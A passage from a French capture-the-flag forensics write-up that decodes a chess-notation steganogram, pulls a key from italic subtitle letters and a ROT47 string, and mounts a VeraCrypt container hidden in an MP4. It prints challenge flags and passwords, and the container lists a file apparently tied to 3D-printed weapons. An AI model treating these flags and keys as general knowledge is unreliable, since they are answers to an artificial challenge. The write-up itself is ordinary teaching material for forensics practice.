Re1 Kh6 172. Ka4 Kg6 173. Re4 Bf6 174. Bf1 Kg7 175. Rb4 Be5 176. Rb3 Bd6 177. Kb5 Kf8 178. Rb4 Be7 179. Bc4 Bd8 180. Bg8 Be7 181. Kc6 Bh4 182. Ra4 Ke8 183. Kc5 Bd8 184. Bd5 Bb6+ 185. Kb4 Ba7 186. Kc3 Bf2 187. Kd2 Kd8 188. Bb7 Ke8 189. Kc2 Kf8 190. Rd4 Ke8 191. Ra4 Ke7 192. Kc1 Bb6 193. Bf3 Ke6 194. Kc2 Kf6 195. Bd5 Ba7 196. Rg4 Bd4 197. Rxd4 Ke5 198. Rd1 Kf4 199. Rc1 Ke5 200. Kc3 Kf4 201. Kd4 Kf5 202. Rd1 Kg4 203. Ra1 Kh5 204. Kc3 Kg4 205. Bg8 Kf5 206. Ra4 Ke5 207. Ra3 Ke4 208. Ba2 Ke5 209. Bf7 Kf4 210. Bc4 Kg3 211. Ra8 Kh3 212. Bd5 Kg4 213. Bh1 Kf5 214. Rg8 Kf6 215. Bg2 Ke5 216. Rg7 Kf4 217. Kc2 Ke5 218. Kb2 Kd6 219. Rg8 Kd7 220. Bf1 Kc6 221. Bc4 Kc5 222. Ka2 Kd6 223. Ka3 Ke5 224. Bd5 Kf6 225. Ba8 Ke5 226. Rg5+ Kf4 227. Be4 Ke3 228. Bf3 Kd4 229. Rg8 Kc3 230. Ka2 Kc4 231. Kb2 Kb4 232. Be2 Ka5 233. Rb8 Ka4 234. Bf3 Ka5 235. Kb1 Ka6 236. Rb7 Ka5 237. Be2 Ka4 238. Rb4+ Ka5 239. Ka1 Kxb4 240. Bb5 Kb3 241. Bd7 Kc4 242. Ba4 Kc5 243. Ka2 Kd5 244. Kb1 Kd4 245. Be8 Ke4 246. Ka1 Kf3 247. Bd7 Kg2 248. Ba4 Kg1 249. Bd1 Kg2 250. Kb1 Kg1 251. Bg4 Kh2 252. Ka1 Kh1 253. Bh3 Kh2 254. Bf1 Kg3 255. Bb5 Kh2 256. Ka2 Kg1 257. Kb1 Kf2 258. Ba4 Ke1 259. Bd7 Kf1 260. Bc6 Kf2 261. Ba4 Kg3 262. Bb5 Kh3 263. Bd7+ Kh4 264. Ka2 Kh5 265. Bb5 Kg4 266. Be2+ Kh4 267. Kb3 Kg5 268. Bf3 Kf4 269. Ka4 Ke5 270. Ba8 Kd4 271. Be4 Ke5 272. Bh7 Kf6 273. Bg6 Ke6 274. Bb1 Kd6 275. Ka5 Kc7 276. Bg6 Kd7 277. Be8+ Kc8 278. Ba4 Kd8 279. Kb4 Kc7 280. Bc2 Kb8 281. Kc3 Ka8 282. Kd2 Kb8 283. Ke1 Ka8 284. Kf2 Kb7 285. Kg1 Ka6 286. Kh1 Kb6 287. Bf5 Kb7 288. Kg1 Ka8 289. Bg4 Kb7 290. Kf2 Kb8 291. Kf1 Kb7 292. Bf3+ Ka7 293. Bh1 Kb8 294. Kg1 Kc8 295. Bg2 Kb8 296. Kf2 Ka7 297. Bh1 Kb6 298. Bd5 Ka7 299. Be6 Ka8 300. Bg8 Kb8 301. Bh7 Kc8 302. Ke3 Kd8 303. Bb1 Ke8 304. Kd4 Kd7 305. Kd5 Kc7 306. Kc5 Kb8 307. Kb4 Ka8 308. Kc4 Ka7 309. Bf5 Ka6 310. Kb4 Kb7 311. Ka4 Kb8 312. Kb5 Ka7 313. Bh3 Kb8 314. Kc4 Kb7 315. Kd5 Ka6 316. Be6 Ka5 317. Bg8 Ka6 318. Ke6 Kb5 319. Kd6 Kb4 320. Kd5 Ka4 321. Ke5 Kb4 322. Bf7 Ka5 323. Kf5 Kb4 324. Kg6 Ka3 325. Kh7 Ka4 326. Be6 Ka3 327. Kg7 Kb2 328. Bd5 Kc1 329. Bc4 Kd1 330. Kh7 Kc1 331. Bg8 Kd2 332. Kh8 Kc1 333. Kg7 Kd2 334. Ba2 Ke3 335. Bg8 Kf2 336. Bc4 Kg1 337. Ba2 Kf1 338. Kh6 Ke1 339. Kh7 Kd1 340. Kg6 Kc1 341. Kh6 Kd1 342. Bf7 Kc1 343. Bg6 Kb2 344. Be4 Kb3 345. Bf5 Ka4 346. Bc8 Kb3 347. Bf5 Ka3 348. Kg5 Kb4 349. Kf4 Ka4 350. Ke5 Ka3 351. Kf6 Ka2 352. Ke6 Kb2 353. Bh3 Kb1 354. Ke5 Kb2 355. Ke4 Ka3 356. Ke5 Kb3 357. Bg2 Ka3 358. Be4 Kb2 359. Kd6 Kc3 360. Kd7 Kc4 361. Bg2 Kd4 362. Bh1 Kc4 363. Ba8 Kb5 364. Ke7 Kb4 365. Bd5 Kc3 366. Ke8 Kd3 367. Ke7 Kd4 368. Be6 Ke3 369. Ba2 Kf3 370. Bd5+ Ke3 371. Bh1 Kd2 372. Kf7 Kd1 373. Ke7 Kd2 374. Kf6 Kd3 375. Bb7 Kd4 376. Kg7 Kc3 377. Kh6 Kb3 378. Bd5+ Ka4 379. Bf3 Ka5 380. Be4 Ka4 381. Bh7 Kb5 382. Bd3+ Kb6 383. Bg6 Ka7 384. Be4 Kb6 385. Kg6 Ka6 386. Bb1 Kb5 387. Bd3+ Kb4 388. Kg7 Ka3 389. Bh7 Kb2 390. Be4 Ka1 391. Bg2 Ka2 392. Kh8 Kb1 393. Kg8 Kc1 394. Be4 Kb2 395. Bf5 Kc3 396. Bd7 Kc2 397. Be6 Kd1 398. Bb3+ Kc1 399. Ba4 Kb2 400. Bc2 Kc1 401. Bd3 Kd2 402. Kg7 Kxd3 403. Kf7 Kc4 404. Kf6 Kc3 405. Kg6 Kd4 406. Kf7 Ke3 407. Ke8 Kf2 408. Ke7 Kg2 409. Kd8 Kf3 410. Ke8 Ke4 411. Kf7 Kf3 412. Kf8 Ke4 413. Ke8 Kd3 414. Kd7 Kc4 415. Ke8 Kc5 416. Ke7 Kd4 417. Ke8 Kd5 418. Kf7 Kc6 419. Kg7 Kb5 420. Kf7 Kc4 421. Kf6 Kb3 422. Kf5 Kb2 423. Kf4 Ka2 424. Ke3 Kb3 425. Kf3 Kc4 426. Ke4 Kc5 427. Kf3 Kd5 428. Ke3 Ke5 429. Kf3 Kd4 430. Kg4 Ke4 431. Kg3 Ke3 432. Kh3 Kf4 433. Kg2 Kf5 434. Kh1 Kf4 435. Kg1 Ke5 436. Kh2 Kf5 437. Kh1 Kg5 438. Kg1 Kh6 439. Kg2 Kg6 440. Kf3 Kh7 441. Ke3 Kg6 442. Kf3 Kf6 443. Kg2 Kf5 444. Kh1 Ke6 445. Kh2 Kd5 446. Kh1 Kc4 447. Kh2 Kb5 448. Kg3 Ka6 449. Kf4 Ka5 450. Ke5 Kb5 451. Kf6 Kc6 452. Kg5 Kc7 453. Kf5 Kd6 454. Kf6 Kc5 455. Ke7 Kd4 456. Kd6 Kd3 457. Kd7 Kd2 458. Kd6 Kc2 459. Kc7 Kb1 460. Kc8 Kc2 461. Kc7 Kb1 462. Kc6 Kc1 463. Kb5 Kb1 464. Ka5 Ka2 465. Kb4 Kb2 466. Ka4 Kb1 467. Ka5 Kc2 468. Ka4 Kc1 469. Ka3 Kd2 470. Kb3 Ke2 471. Ka2 Kd3 472. Ka3 Kd4 473. Ka2 Ke3 474. Kb1 Kf2 475. Kc2 Kf1 476. Kb2 Kg2 477. Ka1 Kh2 478. Ka2 Kg3 479. Kb3 Kg2 480. Kc4 Kh3 481. Kd4 Kh2 482. Kc5 Kg3 483. Kb6 Kf2 484. Kb5 Kf1 485. Kb4 Kg1 486. Ka4 Kh2 487. Kb4 Kg2 488. Kb5 Kg3 489. Ka5 Kh2 490. Ka4 Kh3 491. Kb5 Kg2 492. Ka6 Kf3 493. Ka7 Ke3 494. Kb7 Ke2 495. Ka8 Ke3 496. Ka7 Kd4 497. Ka8 Kc4 498. Ka7 Kb3 499. Kb8 Kb4 500. Kc7 Ka3 501. Kd6 Kb3 502. Kc5 Kb2 503. Kb6 Ka3 504. Kc7 Kb2 505. Kc6 Kc3 506. Kd6 Kb3 507. Ke6 Ka2 508. Kd6 Kb3 509. Kc5 Kc2 510. Kd5 Kb3 511. Kc5 Ka2 512. Kb6 Ka1 513. Ka6 Kb1 514. Kb5 Kc1 515. Ka5 Kd2 516. Kb4 Kd3 517. Kb3 Ke4 518. Kc3 Ke5 519. Kb2 Kd6 520. Kc2 Kd5 521. Kb2 Kc6 522. Ka1 Kd6 523. Kb2 Ke7 524. Kc2 Kd6 525. Kc1 Ke5 526. Kd2 Kf5 527. Ke2 Kg4 528. Ke1 Kg5 529. Kf2 Kf6 530. Kg3 Kg6 531. Kf2 Kh7 532. Kf3 Kg7 533. Kf4 Kf6 534. Kf3 Kf7 535. Ke4 Ke6 536. Kd4 Kf7 537. Kd5 Kg6 538. Ke5 Kh7 539. Kd5 Kh6 540. Ke4 Kg6 541. Kd3 Kg7 542. Kc3 Kg8 543. Kb4 Kg7 544. Ka5 Kf7 545. Ka4 Ke8 546. Kb4 Kf8 547. Kc5 Ke8 548. Kd6 Kf8 549. Kc5 Ke8 550. Kc6 Kf8 551. Kb5 Kg7 552. Kb6 Kh8 553. Kb7 Kg8 554. Ka8 Kh7 555. Kb7 Kg7 556. Kc6 Kh8 557. Kb6 Kg7 558. Ka7 Kg8 559. Kb6 Kf8 560. Kc7 Ke7 561. Kc8 Ke8 562. Kb7 Kf7 563. Kc6 Ke6 564. Kb7 Kf7 565. Kc7 Kg8 566. Kd7 Kf7 567. Kc7 Ke6 568. Kc6 Kf6 569. Kc5 Kg5 570. Kb6 Kf4 571. Kc5 Kf5 572. Kc4 Ke5 573. Kb3 Kd5 574. Ka2 Kc5 575. Kb2 Kb4 576. Ka1 Ka5 577. Kb1 Ka4 578. Kc2 Kb4 579. Kb1 Ka4 580. Kc2 Kb4 581. Kb2 Kc5 582. Ka3 Kc6 583. Kb4 Kc7 584. Ka5 Kb7 585. Kb4 Ka6 586. Kb3 Kb5 587. Kc2 Ka5 588. Kb2 Ka4 589. Kc3 Kb5 590. Kb2 Ka4 591. Ka2 Kb5 592. Ka3 Ka5 593. Kb3 Kb6 594. Kc2 Ka7 595. Kc3 Ka8 596. Kc4 Kb7 597. Kc3 Ka6 598. Kc4 Kb7 599. Kd5 Ka7 600. Ke4 Kb8 601. Ke5 Kb7 602. Kd5 Ka8 603. Ke6 Ka7 604. Kd6 Ka8 605. Kd7 Kb7 606. Kd6 Kb6 607. Ke6 Ka6 608. Kf6 Ka5 609. Kf5 Kb5 610. Ke4 Ka5 611. Kf4 Kb5 612. Kf3 Ka6 613. Kg2 Kb6 614. Kf3 Kc6 615. Kf2 Kd6 616. Ke2 Ke6 617. Ke1 Kf5 618. Kd1 Kg6 619. Kd2 Kg7 620. Kd1 Kf6 621. Kc2 Ke5 622. Kb2 Kf5 623. Ka2 Ke6 624. Kb1 Ke5 625. Ka2 Kd5 626. Ka1 Ke4 627. Ka2 Ke3 628. Ka1 Kf2 629. Kb2 Ke1 630. Ka1 Kd2 631. Ka2 Ke3 632. Kb2 Kd2 633. Ka1 Kd1 634. Ka2 Kc1 635. Ka3 Kd1 636. Kb3 Kc1 637. Ka2 Kd2 638. Ka3 Kc3 639. Ka2 Kd2 640. Kb3 Kd3 641. Ka2 Ke3 642. Kb3 Kd4 643. Kc2 Ke5 644. Kb2 Kf6 645. Kc2 Ke7 646. Kb1 Kf6 647. Kb2 Kg7 648. Ka1 Kh7 649. Kb2 Kg6 650. Kb1 Kh5 651. Kc1 Kg6 652. Kb1 Kg5 653. Kb2 Kh6 654. Kc2 Kh7 655. Kd2 Kh8 656. Kd3 Kg8 657. Kd2 Kh8 658. Kc3 Kg8 659. Kb4 Kf7 660. Kb5 Kg8 661. Ka5 Kg7 662. Kb6 Kg6 663. Kc7 Kh6 664. Kb8 Kh5 665. Ka8 Kg6 666. Kb7 Kh6 667. Kc8 Kg6 668. Kb7 Kf6 669. Kc6 Kf5 670. Kb6 Kf6 671. Kc6 Ke6 672. Kc7 Kd5 673. Kb7 Ke5 674. Ka8 Ke6 675. Kb8 Kd5 676. Kc8 Ke5 677. Kd7 Kf4 678. Ke8 Kg5 679. Kf8 Kh6 680. Ke7 Kg5 681. Kd8 Kf6 682. Kd7 Kg6 683. Ke6 Kg7 684. Ke5 Kf7 685. Ke4 Kf8 686. Kd3 Ke7 687. Ke3 Kd8 688. Kf2 Kc8 689. Kf3 Kb8 690. Kf2 Ka8 691. Kg3 Ka7 692. Kf3 Kb7 693. Kf2 Kc6 694. Ke2 Kb5 695. Kf2 Kb6 696. Kg1 Kb7 697. Kf1 Ka6 698. Kg1 Kb5 699. Kh2 Kb4 700. Kg1 Ka4 701. Kg2 Ka5 702. Kh3 Kb4 703. Kh4 Kb5 704. Kg3 Kc5 705. Kg4 Kd5 706. Kf4 Kc6 707. Kg3 Kb6 708. Kh2 Ka7 709. Kh3 Kb6 710. Kg4 Kb5 711. Kh3 Ka6 712. Kg2 Ka5 713. Kg1 Kb4 714. Kh1 Ka3 715. Kh2 Kb4 716. Kh1 Kc5 717. Kg1 Kd4 718. Kf1 Kc4 719. Ke1 Kc3 720. Kd1 Kb3 721. Ke2 Kb2 722. Kf3 Ka3 723. Kg3 Kb4 724. Kf3 Ka3 725. Kf4 Kb2 726. Kf3 Kb3 727. Kg2 Ka4 728. Kh2 Kb3 729. Kg3 Ka2 730. Kf2 Ka3 731. Ke3 Ka2 732. Kf2 Kb3 733. Kg3 Kb4 734. Kg2 Kb5 735. Kf2 Kb6 736. Kg1 Ka5 737. Kf1 Kb5 738. Kf2 Kc6 739. Kf1 Kd5 740. Kf2 Kc4 741. Kg3 Kc3 742. Kf3 Kb2 743. Kg4 Kc3 744. Kh3 Kd3 745. Kg3 Ke4 746. Kh3 Kd3 747. Kg3 Ke4 748. Kf2 Kf5 749. Ke3 Kg5 750. Kd2 Kh6 751. Ke3 Kg7 752. Kf3 Kf8 753. Ke3 Ke8 754. Ke2 Ke7 755. Kd2 Kf6 756. Kd1 Ke7 757. Kc1 Kf7 758. Kb2 Ke7 759. Kb3 Kd8 760. Kc3 Kd7 761. Kd3 Ke7 762. Ke3 Kd6 763. Kf2 Kd5 764. Kf1 Kc5 765. Kf2 Kc6 766. Kf1 Kb6 767. Kg1 Kb7 768. Kh2 Kc7 769. Kh3 Kb8 770. Kg3 Kc8 771. Kg4 Kb8 772. Kh5 Kc8 773. Kh6 Kb8 774. Kg6 Ka7 775. Kh6 Kb8 776. Kg6 Kc7 777. Kh5 Kc6 778. Kg6 Kc5 779. Kg5 Kc4 780. Kh6 Kd5 781. Kg7 Kc4 782. Kg8 Kb5 783. Kh8 Kb6 784. Kg7 Ka7 785. Kh7 Kb6 786. Kg7 Kc6 787. Kf8 Kd6 788. Kf7 Kc5 789. Kg8 Kd6 790. Kf7 Kc7 791. Kg7 Kb8 792. Kh7 Ka8 793. Kh6 Kb8 794. Kh5 Ka8 795. Kg4 Kb7 796. Kh5 Kb6 797. Kg6 Ka5 798. Kf6 Ka6 799. Ke7 Kb6 800. Kd6 Ka6 801. Ke6 Kb5 802. Kd5 Ka5 803. Kc4 Kb6 804. Kd3 Ka5 805. Kc3 Kb6 806. Kc4 Kc6 807. Kb3 Kc7 808. Ka3 Kb8 809. Kb2 Ka8 810. Kc1 Ka7 811. Kb2 Kb6 812. Ka3 Kb7 813. Ka4 Kc7 814. Kb5 Kc8 815. Kb6 Kd8 816. Kb7 Kd7 817. Ka8 Ke8 818. Ka7 Ke7 819. Ka8 Kf8 820. Ka7 Ke8 821. Ka6 Ke7 822. Kb5 Kd6 823. Kb4 Kd7 824. Kb5 Kd8 825. Ka6 Ke8 826. Ka5 Ke7 827. Kb6 Kd8 828. Ka7 Kc8 829. Ka8 Kc7 830. Ka7 Kd7 831. Kb7 Kd8 832. Ka6 Ke7 833. Kb5 Kf8 834. Ka6 Ke8 835. Ka7 Kd7 836. Ka8 Kc8 837. Ka7 Kc7 838. Ka6 Kd8 839. Ka7 Kc7 840. Ka8 Kc6 841. Kb8 Kc5 842. Kc7 Kd4 843. Kc8 Kc4 844. Kd8 Kc3 845. Kc7 Kd2 846. Kd7 Kd3 847. Ke6 Kd4 848. Kf7 Ke3 849. Kg8 Kd3 850. Kf7 Kd2 851. Kf8 Kc3 852. Kg7 Kd3 853. Kh8 Kc3 854. Kg8 Kc4 855. Kh7 Kb5 856. Kh6 Kc6 857. Kg6 Kd6 858. Kg7 Kc7 859. Kf8 Kc6 860. Kg8 Kd7 861. Kg7 Kd8 862. Kf8 Kc7 863. Kg8 Kb8 864. Kh7 Kc8 865. Kh8 Kb8 866. Kh7 Kc7 867. Kg7 Kb7 868. Kf6 Kc8 869. Ke7 Kb8 870. Kd7 Kb7 871. Kd6 Kb8 872. Kc6 Kc8 873. Kb5 Kb7 874. Kc5 Kb8 875. Kd5 Ka7 876. Kc6 Kb8 877. Kd5 Kc7 878. Kc5 Kd7 879. Kd5 Ke7 880. Kc4 Kf7 881. Kc5 Ke8 882. Kc4 Ke7 883. Kb4 Kd8 884. Ka3 Kd7 885. Kb4 Kc7 886. Kb3 Kb6 887. Kb4 Kc6 888. Kc3 Kb6 889. Kc2 Kc7 890. Kc3 Kb6 891. Kb3 Kc6 892. Ka2 Kd6 893. Kb3 Ke5 894. Ka4 Ke4 895. Ka5 Kf3 896. Ka6 Kg2 897. Kb7 Kh2 898. Kb6 Kg1 899. Kb5 Kg2 900. Kc5 Kh2 901. Kb5 Kg3 902. Kc5 Kf2 903. Kb4 Kf3 904. Ka5 Kg3 905. Kb6 Kf4 906. Kc6 Kf5 907. Kb7 Ke5 908. Ka6 Kd6 909. Kb6 Kd7 910. Ka5 Kd6 911. Kb6 Kd7 912. Ka6 Ke7 913. Kb5 Ke6 914. Ka5 Kd6 915. Kb6 Ke7 916. Kc5 Ke8 917. Kc6 Kd8 918. Kb7 Kd7 919. Ka8 Kd8 920. Ka7 Kc7 921. Ka8 Kb6 922. Kb8 Ka5 923. Kc7 Ka6 924. Kc8 Kb6 925. Kd8 Kb7 926. Kd7 Ka7 927. Kc8 Ka6 928. Kd8 Ka7 929. Kc7 Ka8 930. Kc6 Ka7 931. Kd7 Kb7 932. Ke6 Ka8 933. Ke7 Ka7 934. Kf8 Kb6 935. Ke8 Kc6 936. Kf7 Kb7 937. Ke6 Ka6 938. Ke5 Ka7 939. Ke6 Ka6 940. Kd5 Kb5 941. Ke6 Kc5 942. Kf7 Kd5 943. Kg8 Kc6 944. Kg7 Kb7 945. Kg6 Kc7 946. Kh7 Kb6 947. Kg8 Kc5 948. Kh8 Kd6 949. Kg7 Kc7 950. Kg6 Kd8 951. Kg5 Kc7 952. Kh4 Kb7 953. Kg4 Ka6 954. Kh5 Ka7 955. Kg4 Ka8 956. Kf4 Ka7 957. Kg4 Ka8 958. Kh5 Kb7 959. Kh6 Kc7 960. Kg5 Kb7 961. Kf5 Ka6 962. Kg4 Kb5 963. Kg3 Kb6 964. Kh2 Kc7 965. Kh1 Kc8 966. Kg2 Kb8 967. Kg3 Ka7 968. Kg2 Kb6 969. Kg3 Kc5 970. Kh4 Kc6 971. Kg3 Kc7 972. Kh2 Kd6 973. Kg3 Ke6 974. Kf3 Kd6 975. Kg2 Kc6 976. Kf2 Kc5 977. Kg3 Kd4 978. Kh2 Ke4 979. Kg2 Ke5 980. Kh1 Kd4 981. Kg2 Kc4 982. Kg3 Kc3 983. Kf2 Kc4 984. Ke2 Kd4 985. Kd2 Kc4 986. Kc1 Kb4 987. Kd2 Kb3 988. Kd1 Kc4 989. Ke2 Kb5 990. Kd2 Ka5 991. Kc1 Kb6 992. Kb2 Ka5 993. Ka3 Kb5 994. Kb3 Kc5 995. Ka4 Kd5 996. Kb4 Ke6 997. Ka5 Kd6 998. Kb6 Kd5 999. Ka7 Kc4 1000. Ka8 Kc5 1001. Kb8 Kd4 1002. Kb7 Kc3 1003. Ka8 Kb2 1004. Kb8 Kc2 1005. Kc8 Kd1 1006. Kb8 Kc2 1007. Ka7 Kd3 1008. Kb8 Ke4 1009. Kc8 Kf4 1010. Kb7 Kg4 1011. Kc7 Kh4 1012. Kb8 Kg3 1013. Ka8 Kh3 1014. Ka7 Kh4 1015. Kb6 Kg4 1016. Ka7 Kf3 1017. Kb8 Kg4 1018. Kb7 Kg3 1019. Kc7 Kf2 1020. Kd7 Ke1 1021. Kd8 Ke2 1022. Kd7 Kd3 1023. Kc8 Kd2 1024. Kd8 Kc2 1025. Kc7 Kc1 1026. Kb7 Kb1 1027. Kb6 Kb2 1028. Kc7 Kb3 1029. Kb7 Ka2 1030. Ka8 Ka3 1031. Ka7 Kb2 1032. Kb8 Ka1 1033. Kb7 Kb2 1034. Ka6 Kc1 1035. Ka5 Kb1 1036. Kb5 Kc1 1037. Ka6 Kc2 1038. Kb7 Kd3 1039. Kc6 Kc2 1040. Kb6 Kd2 1041. Kb5 Kc3 1042. Ka4 Kd4 1043. Ka5 Kd5 1044. Kb6 Ke6 1045. Kc7 Kf6 1046. Kd6 Kg6 1047. Kc6 Kf6 1048. Kb6 Kg7 1049. Kc6 Kh8 1050. Kc5 Kg8 1051. Kc6 Kg7 1052. Kb5 Kh6 1053. Ka6 Kg6 1054. Ka7 Kh5 1055. Kb7 Kg4 1056. Kb8 Kh3 1057. Ka7 Kh4 1058. Kb8 Kg5 1059. Kc7 Kh6 1060. Kd6 Kg7 1061. Ke7 Kg8 1062. Kd8 Kf8 1063. Kc7 Ke8 1064. Kc8 Ke7 1065. Kb7 Kf8 1066. Ka8 Ke8 1067. Kb7 Kd8 1068. Ka7 Ke7 1069. Kb6 Kd7 1070. Kb5 Kd6 1071. Kb4 Kc7 1072. Ka5 Kb8 1073. Kb6 Kc8 1074. Kc6 Kb8 1075. Kd6 Kc8 1076. Kc6 Kb8 1077. Kb6 Ka8 1078. Kb5 Ka7 1079. Kc6 Kb8 1080. Kd6 Kc8 1081. Kd5 Kd8 1082. Ke6 Ke8 1083. Ke5 Ke7 1084. Kf4 Kf7 1085. Kf3 Ke7 1086. Ke4 Kd7 1087. Ke5 Kc6 1088. Kf4 Kd7 1089. Kf5 Kd6 1090. Kf6 Kd7 1091. Kf5 Kd8 1092. Kg6 Kc7 1093. Kh7 Kd6 1094. Kg7 Ke5 1095. Kf8 Ke4 1096. Ke7 Kf3 1097. Kf7 Kg3 1098. Kf8 Kh3 1099. Ke8 Kh2 1100. Kf8 Kg1 1101. Ke8 Kh1 1102. Kd8 Kg1 1103. Kc8 Kf1 1104. Kc7 Kg2 1105. Kd7 Kf1 1106. Kc7 Ke1 1107. Kb8 Kf2 1108. Ka8 Kg1 1109. Kb7 Kf1 1110. Kb8 Ke1 1111. Ka7 Kd1 1112. Kb8 Kd2 1113. Kc7 Kc3 1114. Kb6 Kd3 1115. Ka6 Kc3 1116. Ka7 Kd2 1117. Kb8 Kc3 1118. Ka8 Kb2 1119. Ka7 Ka1 1120. Kb7 Kb1 1121. Ka6 Ka2 1122. Kb6 Kb2 1123. Ka7 Kc2 1124. Kb6 Kb3 1125. Ka6 Ka3 1126. Ka5 Kb3 1127. Ka6 Kc4 1128. Ka5 Kc5 1129. Ka4 Kd5 1130. Ka5 Kc4 1131. Ka4 Kd5 1132. Ka3 Kd6 { White resigns. } 0-1

```

Je décide d'effectuer quelques recherches sur ce format.

Je tombe sur le dépot github d'un certain "jes" <https://github.com/jes/chess-steg> qui a développé un outil pour encoder/décoder du texte au format pgn.

Il met en plus à disposition un outil en ligne : <https://incoherency.co.uk/chess-steg/>

Et cette fois ci, la piste de recherche prend tout son sens :

![](https://i.imgur.com/M0xWKro.png)

On découvre une conversation entre "Drewski" et "Yuri".

Drewski semble vouloir acheter quelques choses à Yuri à travers des cryptomonnaies, Drewski procède à un paiement, et Yuri lui envoie un fichier "stl". Mais quelque chose se passe mal... car Yuri veut dans ses derniers messages, tuer Drewski. Drewski serait-il le maker mort dans l'incendie ?

En attendant, j'ai mon 2ème flag : `ECW{6d064b364f2a315c32fd25184256c1278b12ee73}` + 50 points

#### Lord of War 3/4 <a href="#lord-of-war-34" id="lord-of-war-34"></a>

Piste de recherche : 2eme flag.txt

Pour cette 3ème étape, nous recherchons un deuxième fichier flag.txt sur l'image disque de la clé usb.

Ce fichier est peut-être caché dans les 2 fichiers pdf restant, où dans les 2 vidéos.

Je remarque un détail important concernant les deux vidéos, elles font la même durée, mais la vidéo VOST à une taille pratiquement deux fois plus grandes que l'autre.

```
onosh@siftworkstation:# ls -l |grep 'mp4'
-rwxrwxrwx 1 onosh onosh   7858017 Oct 15 23:09 MrNigloR-S01-ep1.mp4
-rwxrwxrwx 1 onosh onosh  18215861 Oct 17 12:18 MrNigloR-S01-ep1-VOST.mp4
```

On pourrait penser que les sous-titres sont la cause de cette différence de taille... je décide de les analyser !

```
onosh@siftworkstation:# du -h *mp4
7.5M    MrNigloR-S01-ep1.mp4
18M MrNigloR-S01-ep1-VOST.mp4
```

La vidéo est l'épisode 1 de la saison 1 de la série Mister Robot.

![](https://i.imgur.com/fB494I8.jpg)

Un détail m'interpelle, certaines lettres dans les sous titres sont écrites en italiques :

![](https://i.imgur.com/54bSabc.png)

![](https://i.imgur.com/fs8VW0h.png)

J'extrait les sous-titres de la vidéo avec l'outil ffmpeg :

```
onosh@siftworkstation:# cat MrNigloR-S01-ep1-VOST_3_text.srt 
1
00:00:00,700 --> 00:00:03,700
What is it about society
that d<i>i</i>sappoints you so much?

2
00:00:11,000 --> 00:00:12,600
Oh, I <i>d</i>on't know.

3
00:00:13,200 --> 00:00:16,080
Is it that we collectively
thought Steve J<i>o</i>bs

4
00:00:16,080 --> 00:00:18,000
Was a great man, even whe<i>n</i> we knew

5
00:00:18,000 --> 00:00:21,000
He made billions off <i>t</i>he backs of children?

6
00:00:23,000 --> 00:00:26,500
Or maybe it's that it feels l<i>i</i>ke
all our heroes are counterfeit.

7
00:00:27,300 --> 00:00:30,000
The world itself's just one bi<i>g</i> hoax.

8
00:00:31,000 --> 00:00:34,300
Spamming with our run<i>n</i>ing
commentary of bullshit

9
00:00:34,300 --> 00:00:39,100
masquerading as insight, <i>o</i>ur
social media faking as intimacy.

10
00:00:41,000 --> 00:00:43,500
Or is it that we voted fo<i>r</i> this?

11
00:00:43,550 --> 00:00:43,550
scC<=:7b:?rCJAE$Ac4b

12
00:00:44,000 --> 00:00:46,000
Not with our rigged
<i>e</i>lections, but with our things,

13
00:00:46,000 --> 00:00:47,700
our propert<i>y</i>, our money.

14
00:00:48,510 --> 00:00:51,100
I'm n<i>o</i>t saying anything new.
We all know why we do this,

15
00:00:51,100 --> 00:00:53,200
not because H<i>u</i>nger Games
books makes us happy

16
00:00:54,100 --> 00:00:55,800
but because we wanna <i>b</i>e sedated.

17
00:00:56,000 --> 00:00:58,600
Because it's painful n<i>o</i>t to pretend,

18
00:00:58,600 --> 00:01:00,000
<i>b</i>ecause we're cowards.

19
00:01:01,090 --> 00:01:03,100
Fuck societ<i>y.</i>

```

On retrouve les caractères en italiques encadré par les balises `<i></i>`. En les récupérant un à un, on obtient `idontignoreyouboby.`

```
onosh@siftworkstation:# cat MrNigloR-S01-ep1-VOST_3_text.srt |grep '<i>' |cut -d">" -f2 |cut -d"<" -f1 |tr -d '\n'
idontignoreyouboby.
```

Autre détail, je remarque dans les sous-titres la chaîne `scC<=:7b:?rCJAE$Ac4b` mais elle semble être chiffré.

L'un des PDF (Wiki.pdf) disponible sur la clé usb, on nous donne des informations sur le ROT13, une technique de chiffrement par décalage :

![](https://i.imgur.com/i69dxhC.png)

Vu l'alphabet utilisé pour cette chaîne chiffré, le ROT13 n'est pas adapté. En revanche le ROT47 oui, car il prend en charge les caractères spéciaux, j'obtiens une clé : `D4rklif3inCryptSp4c3`

Maintenant, j'ai deux clés potentiels, mais je ne sais pas quoi en faire !

Après quelques recherches par mots clés sur google, je trouve mon bonheur, un article de Korben qui semble intéressant :

[Cacher un conteneur TrueCrypt dans une vidéo](https://korben.info/cacher-un-conteneur-truecrypt-dans-une-video.html)

Que dit l'article :

> Martin Fiedler, un allemand portant le pseudo KeyJ a mis en ligne sur son blog, une méthode permettant d’intégrer dans une vidéo MP4, un conteneur TrueCrypt... Avant de commencer, il faut trouver un MP4 ou un MOV qui soit crédible pour le transport. C’est à dire un film qui soit suffisamment bien encodé et de bonne qualité, pour qu’une augmentation de sa taille n’éveille pas les soupçons. Une série de 500 Mo que vous ferez grimper à 700 Mo pourra faire l’affaire si la qualité est au rendez-vous.

Comment cela fonctionne ?

[Plus de détails](https://keyj.emphy.de/real-steganography-with-truecrypt/)

![](https://i.imgur.com/RXEXdeg.png)

Et si nous avions un container chiffré dans notre vidéo ? Cela expliquerai sa taille importante et l'existance des clés pour le déchiffrer !

```
onosh@siftworkstation -> /tmp 
# mkdir /mnt/veracrypt
onosh@siftworkstation -> /tmp 
# veracrypt -t MrNigloR-S01-ep1-VOST.mp4 /mnt/veracrypt/
Enter password for /tmp/MrNigloR-S01-ep1-VOST.mp4: 
Enter PIM for /tmp/MrNigloR-S01-ep1-VOST.mp4: 
Enter keyfile [none]: 
Protect hidden volume (if any)? (y=Yes/n=No) [No]: 

onosh@siftworkstation -> /tmp 
# ls -l /mnt/veracrypt/
total 5502
-rwx------ 1 root root 4106658 oct.  23  2019 Brandalism.pdf
-rwx------ 1 root root      46 juil.  2 08:55 Flag.txt
-rwx------ 1 root root 1521110 juil.  2 09:29 Liberator.gcode
-rwx------ 1 root root    3150 juil.  2 08:43 xbdk.kdbx
```

3ème mission réussie ! le flag est à nous : `ECW{40474cc4ffb7874ebab39da9d1a16caaa9f06b07}` + 100 points

#### Lord of War 4/4 <a href="#lord-of-war-44" id="lord-of-war-44"></a>

Pour ce dernier challenge, il n'y a pas de piste de recherche.

Le container veracrypt contenait 3 autres fichiers :

* Un fichier pdf
* Un fichier gcode
* Un fichier kdbx
